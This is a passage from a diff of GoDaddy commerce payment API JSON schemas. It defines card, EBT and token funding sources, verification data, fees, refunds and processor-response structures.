"Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "verificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } + }, + "title": "Card VerificationData", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "billingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" + } + }, + "title": "Token VerificationData", + "type": "object" + } + ], + "properties": { + "type": { + "description": "Discriminator type", + "type": "string" + } + }, + "required": [ + "type" + ], + "title": "VerificationData", + "type": "object" + } + }, + "title": "PaymentTokenFundingSource", + "type": "object" + } + ], + "properties": { + "token": { + "description": "Paypal token", "type": "string", - "description": "Postal Code" + "writeOnly": true } }, "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "token" + ], + "title": "PaypalPaymentToken", + "type": "object" } - } - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", + ], "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" - }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" + "sourceType": { + "description": "Discriminator field representing the type of Funding source", + "type": "string" } - } - } - }, - "required": [ - "cardDetail" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + }, + "required": [ + "sourceType" + ], + "title": "Funding Source", + "type": "object" + }, + "id": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "netAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true + "cashback": { + "description": "Cashback details", + "type": "integer" }, - "keySerialNumber": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" + "x-currency-type": true, + "x-custom-type": true }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", + "description": "Tip amount details", "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "interacMac", - "interacMacKSN" - ] + "title": "Tip Amount", + "type": "object" }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, "required": [ - "type", - "number", - "source" - ] + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "paymentContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", + "description": "Payment Context details", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } + }, + "title": "PaymentContext", + "type": "object" }, - "cardType": { + "refNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string" + "x-custom-refnum": true, + "x-custom-type": true }, - "eVoucherApprovalCode": { - "type": "string" - } - }, - "required": [ - "cardDetail", - "cardType" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true + "refunds": { + "description": "Refunds for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents refund transaction against a payment", + "properties": { + "alternateFundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + 